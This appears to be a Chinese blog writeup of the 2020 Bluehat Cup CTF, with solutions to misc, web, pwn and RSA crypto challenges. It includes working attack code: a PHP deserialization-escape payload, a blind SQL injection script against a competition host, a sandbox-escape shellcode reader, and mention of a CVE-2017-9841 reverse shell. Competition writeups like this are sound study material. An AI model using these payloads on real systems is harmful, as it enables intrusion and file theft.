Toc
  1. misc
    1. 签到
    2. MISC隐写
  2. web
    1. php
    2. login
    3. login2
  3. pwn
    1. slient
  4. crypto
    1. common_modulus
Toc
0 results found
Rayi
2020第四届蓝帽杯writeup
2020/12/23 WriteUp WriteUp

准备了半天的awd,最后改成ctf了,惨惨

misc

签到

[102, 108, 97, 103, 123, 119, 101, 49, 99, 48, 109, 101, 95, 98, 108, 117, 101, 99, 97, 116, 125]

image-20201223183854967

flag{we1c0me_bluecat}

MISC隐写

分出压缩包

image-20201219173701990

发现压缩包出错

修复下压缩包,这里少了个4B

QQ截图20201220160324

加上即可

QQ截图20201220160447

正常解压了

image-20201220160552042

pdf隐写可以用wbstego

image-20201220160733516

解出密文,key是update

因为图片是个蛇,考虑Serpent加密

有一位不知道为啥显示不出来,多试几次就能解密了

image-20201219175117825

解出来的那仨应该是地址,不知道怎么解了

考虑到地址只有仨,压缩包密码应该很短,尝试爆破

image-20201220161546537

解压flag.zip

bhwf{ICqK_Cq_q0_CLrspSqRclf_Ma!}

有密钥的凯撒密码

image-20201219143629886

https://ctf-wiki.github.io/ctf-wiki/crypto/classical/monoalphabetic-zh/

http://rumkin.com/tools/cipher/caesar-keyed.php

web

php

awvs扫描得CVE-2017-9841

遍历函数,发现pcntl_exec未被过滤,反弹shell

image-20201219171409423

flag为admin用户可读

image-20201219143557057

切换用户,密码在config里

image-20201219143619293

image-20201220162028291

login

反序列化逃逸

admin替换成hacker可以被吃掉1个字符

我们需要吃掉";s:3:"dir";s:5:"/flag";}25个字符

<?php
error_reporting(0);
class File {

    public $user;
    public $pass;
    public $repass;
    public $dir;

    function __construct($data1, $data2, $data3, $data4)
    {
        $this->user = $data1;
        $this->pass = $data2;
        $this->repass = $data3;
        $this->dir = $data4;
    }

    function Login()
    {
    	if (($this->user == 'ohhhh' && $this->pass == 'a3333') || ($this->user == 'admin' && $this->pass == 'admin888')) {
    		return true;
    	} else {
    		return false;
    	}
    }

    function __destruct()
    {
    	if ($this->Login()) {
    		readfile($this->dir);
    	} else {
    		die('wrong user or pass');
    	}
    }
}

function filter($data){
    if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
        return $data;
    } else {
        $filter_arr = array('admin','test','root');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'hacker',$data);
    }

}

if (isset($_GET['user']) && isset($_GET['pass']) && isset($_GET['repass']) && isset($_GET['dir'])) {
    $user = $_GET['user'];
    $pass = $_GET['pass'];
    $repass = $_GET['repass'];
    $dir = $_GET['dir'];

    $get = filter(serialize($_GET));
} else {
    die('hello world');
}

//O:4:"File":4:{s:4:"user";s:5:"ohhhh";s:4:"pass";s:5:"a3333";s:6:"repass";s:5:"a3333adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"dir";s:5:"/flag";}";s:3:"dir";s:5:"/flag";}

?>

login2

布尔盲注

image-20201219173404079

过滤了很多,但是regex没有过滤

利用正则匹配猜测password

image-20201219171451291

写脚本注入,跑出password,登录即可

import requests
import string

def strToHex(string): 
    result = ''
    for i in string:
        result += hex(ord(i))
    result = result.replace('0x', '')
    return '0x' + result

url = "http://eci-2zeajranq7wuuvlja6v9.cloudeci1.ichunqiu.com"
payload = 'or/**/password/**/regexp/**/binary/**/{}#'
result = ''

for i in range(1, 30):
    for j in string.printable:
        passwd = strToHex('^' + result + j)
        tmp = payload.format(passwd)
        data = {
            'username': 'admin\\',
            'password': tmp
        }
        web = requests.post(url, data=data)
        if "flag" in web.text:
            result += j
            print(result)
            break

image-20201219143609139

image-20201219173421426

pwn

slient

禁用了execve,同时沙箱规则给了open read,无法通过write实现orw

允许输入0x40 大小的数据,并在最后直接执行

尝试通过单字节读取爆破

mov al,[xxx]

#!/usr/bin/python2
#encoding:utf-8
from pwn import *
p = remote('8.131.246.36',40334)
elf = ELF('./chall')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil('Welcome to silent execution-box.')
payload=asm('''
	mov rdx,0x67616c662f2e
	push rdx
	mov rdi,rsp
	mov rsi,0
	xor rdx,rdx
	xor eax,eax
	syscall
	mov edi, eax
	mov rsi, 0x10100
	mov edx, 0x20
	xor eax, eax
	syscall
	mov al,[rsi+1]
	loop:
		cmp al,108;
	jz loop
	''')
p.send(payload)
p.interactive()

crypto

common_modulus

求得hint

import libnum
from gmpy2 import invert
def egcd(a, b):
	if a == 0:
		return (b, 0, 1)
	else:
		g, y, x = egcd(b % a, a)
	return (g, x - (b // a) * y, y)
def main():
	n = 781036391323974008856551441504551844841173384369055361767143425092387727015642055181741701170017399241497120632344953499820518820132068694764700867696829033106666055030180813062993649803797649124562825632340854157269454042167398954816966758408050707394510052574354703514670567409229754892812751190528559839163370996270173354192391025119212070374345175232268160015709412770236244184407603397493657886160301984598114022346065772036916080039069065703045460825584095559014098364274915486192890077441915702648662247422573607141301387160468708901332801070000950051880674436952646199048944681743156311156561347137284309444428161898926050856612636204505753959646608899803680618195914959490447723147711810217755931778569656715879355497741337867486596084617334222360877256151925248867366886699774397369843538784086757551124956184373578870266105742924242667575610284091444010308038579594247922368368398449676635147254244680714381600463229849534333608407292776731721661271718860696451810720187133868564530559847589151122364073467586981976649022363672800597675920485113168688814933825793827901051904388778126030212255351752567066602576348655685594872269975311829268026394327948942096118152848379484736487085060738082253125862183108996724624059293
	e1 = 321959
	e2 = 250261
	c1 = 36957484023553910837209409225441927424655498498222125227325359418383640002296037817048875787194563610270914610000310342098339341889592094476980950949853420674032141439421483681866853699486850854298040391681080829719719966937071279714635943016201289711768698491353031209891379238374103433468628136085302672695484810972548140439615644523558778763893381916419169521655893103187028705326557465586164413430726626576639348603638806511311706975958593200898505048876740706947195874397909272772688774998312506679360257618176951770041342256209410863260884750487279961933541672586237719402972217492287549068766414410155714303648473676009661943965293501994978200745219593293552499364219563185093112256120550663818918964081980469288619926291250638450874316053326601032273087039376723415701554676257043515877013761681843885375325430297941942692679848107999743068109805325264735576658206199089491608087442001508062053843516431089207243339447049547611183815785864081653492970812961076181422434762137310522146572918571492263273382927468586853431581811297567337244729976259333642991615934568219783998183005087012034016783535060297367475598352120058322912068079704771685886066199702963018
	c2 = 401003748149510002818767369230254602513865159661339906800347290711690807270702301230624025422831311596632795141531720435002853738573163182312453127686259756779068482529257900103967550779067445990067902733048774414790636519587265122992946230937925359967091172504901407334687520803755214564929157748817222608867504984640435317237940989728715980606596332309938083583162432506373976839198105889860716728175207628676903581344807944755695848151190623498753010294323617338270060040423742010145259129678264662465355879341730120526032229944482388360258216424682694404263498956947130580056839592840962191604893632645585505577517647817952448510353267629549246776809657021963707309740084072731429860522801140021375078140454523473108229522456529438036963702296406101462856177037427008765522302625128434931680973911239443952409966616788095217782552153170772137807287594897681855045237814736536800205438589010668545647972935172419082314572196606656703628418159952436419223060565888253991481370307426542468001783829259332035534414470988788183383528642038979811899061182916422795902465788443785184461640800074642736248613386467596765647696764766509793194318458994279346191732415463226129676210488158303216826287374744132977258018064709541279591219801
	s = egcd(e1, e2)
	s1 = s[1]
	s2 = s[2]
	if s1 < 0:
		s1 = - s1
		c1 = invert(c1, n)
	elif s2 < 0:
		s2 = - s2
		c2 = invert(c2, n)
	m = pow(c1, s1, n) * pow(c2, s2, n) % n
	print m
if __name__ == '__main__':
	main()

看见hint很大,于是用在线大数分解,得2256838816940990602517599420478133332128052023

转字符串得
e3=386321,e4=216437

因为flag = bytes_to_long(FLAG)*bytes_to_long(HINT)

代入e3和e4先求m

#encoding:utf-8
from gmpy2 import invert
from libnum import n2s
from libnum import s2n

def egcd(a, b):
  if a == 0:
    return (b, 0, 1)
  else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)

n = 829153922415855137264800234822397159517330834702889033537933377293887344320377111020468975059392957737449202237724182178497515850669969287557171761512943313347002707881627665997773538338624697031113180118787578098839812766590356161880633390491240275263405375614880514319024910802488825931065452764114707860207310201420715597319258880485040522551832971592910421789656655281398336391483665797851843030704262677198876702546809063670714197016598069553974073602743894202215033991282795559558580509644985355582265309273819085165244990507821708921430055578522701525123887916901778357465509369586730929688392667732886906857430517653096398002777964560127268121571049233223372798710275104635615146227690965482270801899538594859206469480776522613028131598888508457709453379574742196454867003503347438618445660900423827776062276496733498823286497376761412579384984369308185260156963156405659950843672893896087650002269874800953868406307954077672988900057904666430054296760155287271561170025767624003816826720442668295925485637633877652749338842612472516105683964067019360513619412986301224461318521372012905629559424109846511589009550745828509068711532135188012958609344134355466641890243263881890822508445307982892951553198862583429368670057993
c3 = 159724515943626607063077852180725785535830882720862727668525327462548399711146109134244815376287134761817075519820142556357574606798840233562248755971526219627762223734393473798914901143269449212790392600105330383090174083139586064181174009077350924651070244802047181675971743583126005374180803661344948105563731243622231745397860438110568700027808240466520775159603948893458839584686022713865445974999010633338992077036339635470928309825709158252021736998333181626196852117911063143924690274341118934263954401171980866857766803251097624531349328131906037324939822709718110584612723905396082816423636920021116198893529151233844741049768382997165306708386377461537659894631638669541135139772256724755879894163220385702448163577861050255922091076291360733371557008202704744025308442559929057280944151904346146363641694256384699833066941693911888313063101709464779564216471784300409758667075242519216711038178970244130709075948085377075896223268673956328949049096893114349123857314470200317354442002350914580896785644057370606138149403529271049952702755513806243257608741081761103014849775297798769123025294190124352059867893341310583345698551198662911063194743695473937982189580136904500546179872911907699655901666991491654421172959264
c4 = 57753999791367954812877130686058121054443678925290122699732942374552377530912544569783672828590240422877223826197879289472403585757172273277239297526665063894150623373109796608859921955301691089540729831917160178868231682072752197580203484288164133217663688067192666967770925136848959204918826485897417136279905191879271412151742246484076622063679589754259106252933413536568485529803678780581998277670361339795120802749962616197154034038435751735095475591785398144469688949041462068892241430647066362510792025547829587121250073126290670667723023127377308108293769990089701850766695961726226577889583066523196062662393653961955832335003120004633186520483300238782648030055639897551804466045386218619188505210466918212420556262926058550228248993636913270322162579291768471428127852669049804176869823167153854023121720445792008913212761550520671824108241658491131356538078406849432143830199493211530196195689893600610179994517500684729449142317298837183119971172662866403096061418272111461743199683739447289005311734544421847876133462236161463005728810728422873087670552019575195179400831748068699257581271088746550021722434317091260496556373742562805426688588980981788900
e3 = 386321
e4 = 216437
s = egcd(e3, e4)
s1 = s[1]
s2 = s[2]

if s1 < 0:
    s1 = - s1
    c3 = invert(c3, n)
elif s2 < 0:
    s2 = - s2
    c4 = invert(c4, n)

m = (pow(c3, s1, n) * pow(c4, s2, n)) % n
print(m)

求得m后即可解flag

#encoding:utf-8

def gcd(a,b):
    while a!=0:
      a,b = b%a,a
    return b

def modReverse(a,m):
    if gcd(a,m)!=1:
      return None
    u1,u2,u3 = 1,0,a
    v1,v2,v3 = 0,1,m
    while v3!=0:
      q = u3//v3
      v1,v2,v3,u1,u2,u3 = (u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3
    return u1%m
n = 829153922415855137264800234822397159517330834702889033537933377293887344320377111020468975059392957737449202237724182178497515850669969287557171761512943313347002707881627665997773538338624697031113180118787578098839812766590356161880633390491240275263405375614880514319024910802488825931065452764114707860207310201420715597319258880485040522551832971592910421789656655281398336391483665797851843030704262677198876702546809063670714197016598069553974073602743894202215033991282795559558580509644985355582265309273819085165244990507821708921430055578522701525123887916901778357465509369586730929688392667732886906857430517653096398002777964560127268121571049233223372798710275104635615146227690965482270801899538594859206469480776522613028131598888508457709453379574742196454867003503347438618445660900423827776062276496733498823286497376761412579384984369308185260156963156405659950843672893896087650002269874800953868406307954077672988900057904666430054296760155287271561170025767624003816826720442668295925485637633877652749338842612472516105683964067019360513619412986301224461318521372012905629559424109846511589009550745828509068711532135188012958609344134355466641890243263881890822508445307982892951553198862583429368670057993
m = 795129169552291006861754002206513820937641980698434382418936261423422746999612445764303059674219208389574024534672717069821412414159146551366545996353949783196010213553918927580779995019174186191032145333149188913037471190229239099846321485033232436935611571367541493044277081533408993875257311753734536147571167095896669077719414131452331046090464837590749820091009158875152457888900355791540044943189887475311977641143538035689663891597983971260327156044023687896426055728061855343985242964248584312808777178962375936043822201018415653235814485615205327407400780005852561278683155208683364942051067379779866515199199129202240010485952950728372189222715041921342651574061028219342292107006496306690996248232154011982638406599183117999624463176008864712361084026607499225962202418264921259296412132569498420948156231991422121967643470934361208982842203404876002586976855763264989245461870293707215153833855463524713435447265274151395156396029507394842810440848947409747692940663271981830686236597905086310965497295634452454502792579750856566644956428398186959955662345052899355866818276388556869309837579415317436154415391396745002015389421807844666877314560257175276506064197678141334956984552068148598923249237123558477833149102400
h1 = 2256838816940990602517599420478133332128052023
h2 = pow(h1,13,n)
h3 = modReverse(h2,n)
data = m * h3 % n
print(data)
本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!